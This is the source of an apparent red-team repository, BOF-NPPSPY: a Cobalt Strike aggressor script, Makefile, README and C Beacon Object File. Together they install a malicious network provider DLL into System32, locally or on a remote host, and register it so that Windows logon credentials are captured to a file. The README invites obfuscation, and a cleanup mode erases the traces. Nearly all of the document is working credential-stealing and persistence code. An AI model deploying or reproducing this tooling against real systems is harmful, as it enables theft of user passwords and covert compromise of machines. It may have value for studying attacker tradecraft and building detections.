├── BOF-NPPSPY.cna ├── Makefile ├── README.md ├── beacon.h ├── bof-NPPSPY.c ├── bof-NPPSPYx64.o ├── bof-NPPSPYx86.o ├── bofdefs.h ├── dist ├── NPPSPY.dll └── NPPSPy.c └── images └── demo.png /BOF-NPPSPY.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register("bof-NPPSPY", "bof implementation of NPPSPY", 2 | "===Local usage=== 3 | Command: bof-NPPSPY local 4 | 5 | ===Remote usage=== 6 | Command: bof-NPPSPY WS01 7 | 8 | ===Cleanup mode=== 9 | Local: 10 | Command: bof-NPPSPY local cleanup 11 | Remote: 12 | Command: bof-NPPSPY WS01 cleanup "); 13 | 14 | alias bof-NPPSPY { 15 | local('$args'); 16 | $barch = barch($1); 17 | 18 | if(size(@_) < 2){ 19 | berror($1, "Missing arugment. Example: bof-NPPSPY local/hostname NPPSPY.dll"); 20 | return; 21 | } 22 | $targetHost = $2; 23 | $mode = $3; 24 | if($mode eq "cleanup"){ 25 | $cleanup = int(1); 26 | $cleanupValue = $4; 27 | if(strlen($cleanupValue) == 0){ 28 | berror($1, "Cleanup value is empty. Please provide the cleanup value provided in BOF output."); 29 | return; 30 | } 31 | $args = bof_pack($1, "ziz", $targetHost, $cleanup, $cleanupValue); 32 | $handle = openf(script_resource("bof-NPPSPY $+ $barch $+ .o")); 33 | $data = readb($handle, -1); 34 | closef($handle); 35 | if(strlen($data) < 1) 36 | { 37 | berror($1,"Error: BOF could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script"); 38 | return; 39 | } 40 | beacon_inline_execute($1, $data, "go", $args); 41 | }else{ 42 | $DLLhandle = openf(script_resource("dist/NPPSPY.dll")); 43 | $DLLdata = readb($DLLhandle, -1); 44 | closef($DLLhandle); 45 | if(strlen($DLLdata) == 0){ 46 | berror($1, "File is empty or not exit. Please use a valid file."); 47 | return; 48 | } 49 | if($targetHost eq "local"){ 50 | $uploadpath = "C:\\Windows\\System32\\NPPSPY.dll"; 51 | # upload the dll 52 | bupload_raw($1, $uploadpath, $DLLdata); 53 | blog($1, "[!] An unsigned NPPSPY DLL will be uploaded to: ". $uploadpath); 54 | } 55 | else{ 56 | $uploadpath = "\\\\" . $targetHost . "\\C$\\Windows\\System32\\NPPSPY.dll"; 57 | bupload_raw($1, $uploadpath, $DLLdata); 58 | blog($1, "[!] An unsigned NPPSPY DLL will be uploaded to: ". $uploadpath); 59 | } 60 | $args = bof_pack($1, "z", $targetHost); 61 | $handle = openf(script_resource("bof-NPPSPY $+ $barch $+ .o")); 62 | $data = readb($handle, -1); 63 | closef($handle); 64 | if(strlen($data) < 1) 65 | { 66 | berror($1,"Error: BOF could not be found. Please ensure the compiled BOF (.o file) exists in the same folder as this aggressor script"); 67 | return; 68 | } 69 | beacon_inline_execute($1, $data, "go", $args); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BOF_Function := bof-NPPSPY 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | CC_x86 := i686-w64-mingw32-gcc 4 | all: 5 | $(CC_x64) -o $(BOF_Function)x64.o -c $(BOF_Function).c 6 | $(CC_x86) -o $(BOF_Function)x86.o -c $(BOF_Function).c 7 | 8 | clean: 9 | rm $(BOF_Function)x64.o 10 | rm $(BOF_Function)x86.o -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BOF-NPPSPY 2 | Porting of NPPSPY by Grzegorz Tworek to 'man in the middle' the user logon process, and store the user's name and password in an unassuming file. 3 | 4 | I have modified the DLL a little bit and you may want to add more changes or obfuscation before using it 5 | # Usage 6 | Target local host 7 | ```texinfo 8 | bof-NPPSPY local 9 | ``` 10 | Target remote host 11 | ```texinfo 12 | bof-NPPSPY WS01 13 | ``` 14 | ![](images/demo.png) 15 | 16 | Cleanup
17 | cleanup command is provided as above 18 | ```texinfo 19 | local: 20 | bof-NPPSPY local cleanup 21 | 22 | remote: 23 | bof-NPPSPY WS01 cleanup 24 | ``` 25 | 26 | # Compile 27 | ```texinfo 28 | git clone https://github.com/VoldeSec/BOF-NPPSPY.git 29 | cd BOF-NPPSPY 30 | make 31 | ``` 32 | 33 | 34 | 35 | # Credits 36 | NPPSPY by Grzegorz Tworek - https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy 37 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char* original; /* the original buffer [so we can free it] */ 13 | char* buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap* parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap* parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap* parser); 22 | DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char* original; /* the original buffer [so we can free it] */ 27 | char* buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp* format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp* format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp* format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp* format, char* text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp* format, char* fmt, ...); 37 | DECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp* format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char* src, wchar_t* dst, int max); -------------------------------------------------------------------------------- /bof-NPPSPY.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "beacon.h" 4 | 5 | void go(char* args, int length) 6 | { 7 | //Declare beacon parser variables 8 | datap parser; 9 | BeaconDataParse(&parser, args, length); 10 | char* targetHost = ""; 11 | char* dllPath[100] = { 0 }; 12 | char* dllData; 13 | BOOL cleanup = 0; 14 | char* cleanupValue = ""; 15 | 16 | targetHost = BeaconDataExtract(&parser, NULL); 17 | cleanup = BeaconDataInt(&parser); 18 | cleanupValue = BeaconDataExtract(&parser, NULL); 19 | 20 | /* debug only 21 | BeaconPrintf(CALLBACK_OUTPUT, "[+] targetHost = %s", targetHost);//Debug Only 22 | BeaconPrintf(CALLBACK_OUTPUT, "[+] cleanup = %d", cleanup);//Debug Only 23 | BeaconPrintf(CALLBACK_OUTPUT, "[+] cleanupValue = %s", cleanupValue);//Debug Only 24 | */ 25 | 26 | //cleanup 27 | if (cleanup == 1) 28 | { 29 | HKEY hKey; 30 | 31 | if (MSVCRT$strcmp(targetHost, "local") == 0) 32 | { 33 | ///////////////////////////////////////////////Local Cleanup/////////////////////////////////////////////// 34 | LONG exist = KERNEL32$GetFileAttributesA("C:\\Windows\\System32\\NPPSPY.dll"); 35 | if (exist == INVALID_FILE_ATTRIBUTES) 36 | { 37 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target file C:\\Windows\\System32\\NPPSPY.dll. Skipped!"); 38 | 39 | } 40 | else 41 | { 42 | if (KERNEL32$DeleteFileA("C:\\Windows\\System32\\NPPSPY.dll")) 43 | { 44 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed C:\\Windows\\System32\\NPPSPY.dll successfully!"); 45 | 46 | } 47 | else 48 | { 49 | BeaconPrintf(CALLBACK_ERROR, "Failed to delete C:\\Windows\\System32\\NPPSpy.dll, Error = %u\n", KERNEL32$GetLastError()); 50 | 51 | 52 | } 53 | } 54 | exist = KERNEL32$GetFileAttributesA("C:\\Windows\\temp\\wct42KH.tmp"); 55 | if (exist == INVALID_FILE_ATTRIBUTES) 56 | { 57 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target file C:\\Windows\\temp\\wct42KH.tmp. Skipped!"); 58 | 59 | } 60 | else 61 | { 62 | if (KERNEL32$DeleteFileA("C:\\Windows\\temp\\wct42KH.tmp")) 63 | { 64 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed C:\\Windows\\temp\\wct42KH.tmp successfully!"); 65 | 66 | } 67 | else 68 | { 69 | BeaconPrintf(CALLBACK_ERROR, "Failed to delete C:\\Windows\\temp\\wct42KH.tmp, Error = %u\n", KERNEL32$GetLastError()); 70 | } 71 | } 72 | 73 | LONG result = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order", 0, KEY_ALL_ACCESS, &hKey); 74 | 75 | if (result == ERROR_SUCCESS) 76 | { 77 | if (ADVAPI32$RegSetValueExA(hKey, "PROVIDERORDER", 0, REG_SZ, (LPBYTE)cleanupValue, MSVCRT$strlen(cleanupValue) + 1) == ERROR_SUCCESS) { 78 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Reset the value HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\\ProviderOrder successfully!"); 79 | } 80 | else 81 | { 82 | BeaconPrintf(CALLBACK_ERROR, "Failed to reset the value of PROVIDERORDER, Error = %u\n", KERNEL32$GetLastError()); 83 | 84 | } 85 | ADVAPI32$RegCloseKey(hKey); 86 | } 87 | 88 | 89 | result = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder", 0, KEY_ALL_ACCESS, &hKey); 90 | if (result == ERROR_SUCCESS) 91 | { 92 | if (ADVAPI32$RegDeleteValueA(hKey, "NPPSpy") != ERROR_SUCCESS) { 93 | BeaconPrintf(CALLBACK_ERROR, "Failed to remove NetworkProvider\\ProviderOrder, Error = %u", KERNEL32$GetLastError()); 94 | 95 | } 96 | else 97 | { 98 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed the value HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder\\NPPSpy successfully!"); 99 | } 100 | ADVAPI32$RegCloseKey(hKey); 101 | } 102 | else if (result == ERROR_FILE_NOT_FOUND) 103 | { 104 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target registry SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder. Skipped!"); 105 | 106 | } 107 | else 108 | { 109 | BeaconPrintf(CALLBACK_ERROR, "Failed to find/open key SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder, Error = %u", KERNEL32$GetLastError()); 110 | ADVAPI32$RegCloseKey(hKey); 111 | 112 | } 113 | 114 | result = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", 0, KEY_ALL_ACCESS, &hKey); 115 | if (result == ERROR_SUCCESS) 116 | { 117 | if (ADVAPI32$RegDeleteTreeA(hKey, "NPPSpy") == ERROR_SUCCESS) { 118 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed the register key HKLM\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy successfully!"); 119 | } 120 | else 121 | { 122 | if (KERNEL32$GetLastError() == 2) 123 | { 124 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find the registry key for NPPSpy. Skipped!"); 125 | } 126 | else { 127 | BeaconPrintf(CALLBACK_ERROR, "Failed to remove registry key for NPPSpy, Error = %u", KERNEL32$GetLastError()); 128 | } 129 | } 130 | ADVAPI32$RegCloseKey(hKey); 131 | } 132 | else if (result == ERROR_FILE_NOT_FOUND) 133 | { 134 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target registry SYSTEM\\CurrentControlSet\\Services. Skipped!"); 135 | } 136 | else 137 | { 138 | BeaconPrintf(CALLBACK_ERROR, "Failed to find/open key HKLM\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy, Error = %u", KERNEL32$GetLastError()); 139 | ADVAPI32$RegCloseKey(hKey); 140 | } 141 | return; 142 | } 143 | else 144 | { 145 | ///////////////////////////////////////////////Remote Cleanup/////////////////////////////////////////////// 146 | char* deletePath[100] = { 0 }; 147 | MSVCRT$strcat((char*)deletePath, "\\\\"); 148 | MSVCRT$strcat((char*)deletePath, targetHost); 149 | MSVCRT$strcat((char*)deletePath, "\\C$\\Windows\\System32\\NPPSPY.dll"); 150 | LONG exist = KERNEL32$GetFileAttributesA(deletePath); 151 | if (exist == INVALID_FILE_ATTRIBUTES) 152 | { 153 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target file C:\\Windows\\System32\\NPPSPY.dll on %s. Skipped!", targetHost); 154 | } 155 | else 156 | { 157 | if (KERNEL32$DeleteFileA(deletePath)) 158 | { 159 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed C:\\Windows\\System32\\NPPSPY.dll on %s successfully!", targetHost); 160 | 161 | } 162 | else 163 | { 164 | BeaconPrintf(CALLBACK_ERROR, "Failed to delete C:\\Windows\\System32\\NPPSPY.dll on %s, Error = %u", deletePath, KERNEL32$GetLastError()); 165 | } 166 | } 167 | 168 | 169 | char* deleteTXTPath[100] = { 0 }; 170 | MSVCRT$strcat((char*)deleteTXTPath, "\\\\"); 171 | MSVCRT$strcat((char*)deleteTXTPath, targetHost); 172 | MSVCRT$strcat((char*)deleteTXTPath, "\\C$\\Windows\\temp\\wct42KH.tmp"); 173 | exist = KERNEL32$GetFileAttributesA(deleteTXTPath); 174 | if (exist == INVALID_FILE_ATTRIBUTES) 175 | { 176 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target file C:\\Windows\\temp\\wct42KH.tmp on %s. Skipped!", targetHost); 177 | } 178 | else 179 | { 180 | if (KERNEL32$DeleteFileA(deleteTXTPath)) 181 | { 182 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed C:\\Windows\\temp\\wct42KH.tmp on %s successfully!", targetHost); 183 | } 184 | else 185 | { 186 | BeaconPrintf(CALLBACK_ERROR, "Failed to delete C:\\Windows\\temp\\wct42KH.tmp on %s, Error = %u", deletePath, KERNEL32$GetLastError()); 187 | } 188 | } 189 | 190 | HKEY hRemoteReg; 191 | if (ADVAPI32$RegConnectRegistryA(targetHost, HKEY_LOCAL_MACHINE, &hRemoteReg) != ERROR_SUCCESS) { 192 | BeaconPrintf(CALLBACK_ERROR, "Could not connect remote reg key on %s, Error = %u", targetHost, KERNEL32$GetLastError()); 193 | return; 194 | } 195 | LONG result = ADVAPI32$RegOpenKeyExA(hRemoteReg, "SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order", 0, KEY_ALL_ACCESS, &hKey); 196 | 197 | if (result == ERROR_SUCCESS) 198 | { 199 | if (ADVAPI32$RegSetValueExA(hKey, "PROVIDERORDER", 0, REG_SZ, (LPBYTE)cleanupValue, MSVCRT$strlen(cleanupValue) + 1) == ERROR_SUCCESS) { 200 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Reset the value HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\\ProviderOrder successfully!"); 201 | } 202 | else 203 | { 204 | BeaconPrintf(CALLBACK_ERROR, "Failed to reset the value of PROVIDERORDER, Error = %u", KERNEL32$GetLastError()); 205 | } 206 | ADVAPI32$RegCloseKey(hKey); 207 | } 208 | else if (result == ERROR_FILE_NOT_FOUND) 209 | { 210 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target registry SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order. Skipped!"); 211 | } 212 | else 213 | { 214 | BeaconPrintf(CALLBACK_ERROR, "Could not open key on %s, Error = %u\n", targetHost, KERNEL32$GetLastError()); 215 | ADVAPI32$RegCloseKey(hKey); 216 | } 217 | 218 | result = ADVAPI32$RegOpenKeyExA(hRemoteReg, "SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder", 0, KEY_ALL_ACCESS, &hKey); 219 | 220 | if (result == ERROR_SUCCESS) 221 | { 222 | if (ADVAPI32$RegDeleteValueA(hKey, "NPPSpy") == ERROR_SUCCESS) { 223 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed the value HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder\\NPPSpy successfully!"); 224 | } 225 | else 226 | { 227 | BeaconPrintf(CALLBACK_ERROR, "Failed to remove NetworkProvider\\ProviderOrder\\NPPSpy, Error = %u\n", KERNEL32$GetLastError()); 228 | } 229 | ADVAPI32$RegCloseKey(hKey); 230 | 231 | } 232 | else if (result == ERROR_FILE_NOT_FOUND) 233 | { 234 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target registry SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder. Skipped!"); 235 | } 236 | else 237 | { 238 | ADVAPI32$RegCloseKey(hKey); 239 | BeaconPrintf(CALLBACK_ERROR, "Failed to find/open key SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\ProviderOrder\\, Skipped! Error = %u", KERNEL32$GetLastError()); 240 | } 241 | 242 | result = ADVAPI32$RegOpenKeyExA(hRemoteReg, "SYSTEM\\CurrentControlSet\\Services", 0, KEY_ALL_ACCESS, &hKey); 243 | if (result == ERROR_SUCCESS) 244 | { 245 | if (ADVAPI32$RegDeleteTreeA(hKey, "NPPSpy") == ERROR_SUCCESS) { 246 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removed the register key HKLM\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy successfully!"); 247 | } 248 | else 249 | { 250 | if (KERNEL32$GetLastError() == 2) 251 | { 252 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find the registry key for NPPSpy. Skipped!"); 253 | } 254 | else { 255 | BeaconPrintf(CALLBACK_ERROR, "Failed to remove registry key for NPPSpy, Error = %u", KERNEL32$GetLastError()); 256 | } 257 | } 258 | ADVAPI32$RegCloseKey(hKey); 259 | } 260 | else if (result == ERROR_FILE_NOT_FOUND) 261 | { 262 | BeaconPrintf(CALLBACK_OUTPUT, "[*] Could not find target registry SYSTEM\\CurrentControlSet\\Services. Skipped!"); 263 | } 264 | else 265 | { 266 | BeaconPrintf(CALLBACK_ERROR, "Failed to open key SYSTEM\\CurrentControlSet\\Services, Skipped! Error = %u", KERNEL32$GetLastError()); 267 | ADVAPI32$RegCloseKey(hKey); 268 | } 269 | return; 270 | } 271 | return; 272 | } 273 | 274 | 275 | HKEY hKey; 276 | 277 | if (MSVCRT$strcmp(targetHost, "local") == 0) 278 | { 279 | ///////////////////////////////////////////////Local Registry/////////////////////////////////////////////// 280 | 281 | LONG result = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order", 0, KEY_ALL_ACCESS, &hKey); 282 | char value[1024]; 283 | if (result == ERROR_SUCCESS) { 284 | DWORD size = sizeof(value);; 285 | if (ADVAPI32$RegGetValueA(hKey, NULL, "PROVIDERORDER", RRF_RT_REG_SZ, NULL, value, &size) != ERROR_SUCCESS) { 286 | BeaconPrintf(CALLBACK_ERROR, "Failed to get value of PROVIDERORDER, Error = %u", KERNEL32$GetLastError()); 287 | ADVAPI32$RegCloseKey(hKey); 288 | return; 289 | } 290 | BeaconPrintf(CALLBACK_OUTPUT, "*********************************************************\n[!] CleanUp command: bof-NPPSPY local cleanup %s\n*********************************************************", value); 291 | 292 | // Append ",NPPSpy" to the value of PROVIDERORDER 293 | MSVCRT$strcat(value, ",NPPSpy"); 294 | 295 | if (ADVAPI32$RegSetValueExA(hKey, "PROVIDERORDER", 0, REG_SZ, (LPBYTE)value, MSVCRT$strlen(value) + 1) == ERROR_SUCCESS) { 296 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully set the value of HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\\ProviderOrder"); 297 | ADVAPI32$RegCloseKey(hKey); 298 | } 299 | else 300 | { 301 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value of HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\\ProviderOrder, Error = %u", KERNEL32$GetLastError()); 302 | ADVAPI32$RegCloseKey(hKey); 303 | return; 304 | } 305 | } 306 | else 307 | { 308 | BeaconPrintf(CALLBACK_ERROR, "Could not open key HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order, Error = %u", KERNEL32$GetLastError()); 309 | BeaconPrintf(CALLBACK_ERROR, "Please ensure you are in elevated context!"); 310 | return; 311 | } 312 | // Create the registry keys for NPPSpy 313 | if (ADVAPI32$RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NPPSpy", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) { 314 | BeaconPrintf(CALLBACK_ERROR, "Failed to create registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy, Error = %u", KERNEL32$GetLastError()); 315 | return; 316 | } 317 | 318 | if (ADVAPI32$RegCreateKeyExA(hKey, "NetworkProvider", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) { 319 | BeaconPrintf(CALLBACK_ERROR, "Failed to create subkey HKLM\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider, Error = %u", KERNEL32$GetLastError()); 320 | ADVAPI32$RegCloseKey(hKey); 321 | return; 322 | } 323 | 324 | // Set the Class, Name, and ProviderPath values for the NetworkProvider key 325 | if (ADVAPI32$RegSetValueExA(hKey, "Class", 0, REG_DWORD, (BYTE*)&(DWORD) { 2 }, sizeof(DWORD)) != ERROR_SUCCESS) { 326 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value \"Class\", Error = % u", KERNEL32$GetLastError()); 327 | ADVAPI32$RegCloseKey(hKey); 328 | return; 329 | } 330 | 331 | if (ADVAPI32$RegSetValueExA(hKey, "Name", 0, REG_SZ, (BYTE*)"NPPSpy", MSVCRT$strlen("NPPSpy") + 1) != ERROR_SUCCESS) { 332 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value \"Name\", Error = % u", KERNEL32$GetLastError()); 333 | ADVAPI32$RegCloseKey(hKey); 334 | return; 335 | } 336 | 337 | if (ADVAPI32$RegSetValueExA(hKey, "ProviderPath", 0, REG_EXPAND_SZ, (BYTE*)"%SystemRoot%\\System32\\NPPSPY.dll", MSVCRT$strlen("%SystemRoot%\\System32\\NPPSPY.dll") + 1) != ERROR_SUCCESS) { 338 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value \"ProviderPath\", Error = %u", KERNEL32$GetLastError()); 339 | ADVAPI32$RegCloseKey(hKey); 340 | return; 341 | } 342 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully created registry keys"); 343 | } 344 | else 345 | { 346 | ///////////////////////////////////////////////Remote Registry/////////////////////////////////////////////// 347 | HKEY hRemoteReg; 348 | if (ADVAPI32$RegConnectRegistryA(targetHost, HKEY_LOCAL_MACHINE, &hRemoteReg) != ERROR_SUCCESS) { 349 | BeaconPrintf(CALLBACK_ERROR, "Could not connect remote reg key on %s, Error = %u", targetHost, KERNEL32$GetLastError()); 350 | return; 351 | } 352 | LONG result = ADVAPI32$RegOpenKeyExA(hRemoteReg, "SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order", 0, KEY_ALL_ACCESS, &hKey); 353 | 354 | if (result == ERROR_SUCCESS) 355 | { 356 | char value[1024]; 357 | DWORD size = sizeof(value);; 358 | if (ADVAPI32$RegGetValueA(hKey, NULL, "PROVIDERORDER", RRF_RT_REG_SZ, NULL, value, &size) != ERROR_SUCCESS) { 359 | BeaconPrintf(CALLBACK_ERROR, "Failed to get value of HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\\ProviderOrder, Error = %u", KERNEL32$GetLastError()); 360 | ADVAPI32$RegCloseKey(hKey); 361 | return; 362 | } 363 | BeaconPrintf(CALLBACK_OUTPUT, "*********************************************************\n[!] CleanUp command: bof-NPPSPY %s cleanup %s\n*********************************************************", targetHost, value); 364 | // Append ",NPPSpy" to the value of PROVIDERORDER 365 | MSVCRT$strcat(value, ",NPPSpy"); 366 | 367 | if (ADVAPI32$RegSetValueExA(hKey, "PROVIDERORDER", 0, REG_SZ, (LPBYTE)value, MSVCRT$strlen(value) + 1) == ERROR_SUCCESS) { 368 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully set the value of HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\\ProviderOrder"); 369 | ADVAPI32$RegCloseKey(hKey); 370 | } 371 | else 372 | { 373 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value of HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\\ProviderOrder, Error = %u", KERNEL32$GetLastError()); 374 | ADVAPI32$RegCloseKey(hKey); 375 | return; 376 | } 377 | result = ADVAPI32$RegOpenKeyExA(hRemoteReg, "SYSTEM\\CurrentControlSet\\Services\\", 0, KEY_ALL_ACCESS, &hKey); 378 | // Create the registry keys for NPPSpy 379 | if (ADVAPI32$RegCreateKeyExA(hKey, "NPPSpy", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) { 380 | BeaconPrintf(CALLBACK_ERROR, "Failed to create registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy, Error = %u", KERNEL32$GetLastError()); 381 | return; 382 | } 383 | 384 | if (ADVAPI32$RegCreateKeyExA(hKey, "NetworkProvider", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) { 385 | BeaconPrintf(CALLBACK_ERROR, "Failed to create subkey HKLM\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider, Error = %u", KERNEL32$GetLastError()); 386 | ADVAPI32$RegCloseKey(hKey); 387 | return; 388 | } 389 | 390 | // Set the Class, Name, and ProviderPath values for the NetworkProvider key 391 | if (ADVAPI32$RegSetValueExA(hKey, "Class", 0, REG_DWORD, (BYTE*)&(DWORD) { 2 }, sizeof(DWORD)) != ERROR_SUCCESS) { 392 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value \"Class\", Error = %u", KERNEL32$GetLastError()); 393 | ADVAPI32$RegCloseKey(hKey); 394 | return; 395 | } 396 | 397 | if (ADVAPI32$RegSetValueExA(hKey, "Name", 0, REG_SZ, (BYTE*)"NPPSpy", MSVCRT$strlen("NPPSpy") + 1) != ERROR_SUCCESS) { 398 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value \"Name\", Error = %u", KERNEL32$GetLastError()); 399 | ADVAPI32$RegCloseKey(hKey); 400 | return; 401 | } 402 | 403 | if (ADVAPI32$RegSetValueExA(hKey, "ProviderPath", 0, REG_EXPAND_SZ, (BYTE*)"%SystemRoot%\\System32\\NPPSPY.dll", MSVCRT$strlen("%SystemRoot%\\System32\\NPPSPY.dll") + 1) != ERROR_SUCCESS) { 404 | BeaconPrintf(CALLBACK_ERROR, "Failed to set value \"ProviderPath\", Error = %u", KERNEL32$GetLastError()); 405 | ADVAPI32$RegCloseKey(hKey); 406 | return; 407 | } 408 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully created registry keys"); 409 | } 410 | else 411 | { 412 | BeaconPrintf(CALLBACK_ERROR, "Could not open key HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order on %s, Error = %u", targetHost, KERNEL32$GetLastError()); 413 | BeaconPrintf(CALLBACK_ERROR, "Please ensure you are in elevated context on %s!", targetHost); 414 | return; 415 | } 416 | 417 | } 418 | 419 | } 420 | -------------------------------------------------------------------------------- /bof-NPPSPYx64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VoldeSec/BOF-NPPSPY/364048b86d56a78be1fcba0df71964eff178257c/bof-NPPSPYx64.o -------------------------------------------------------------------------------- /bof-NPPSPYx86.o: -------------------------------------------------------------------------------- 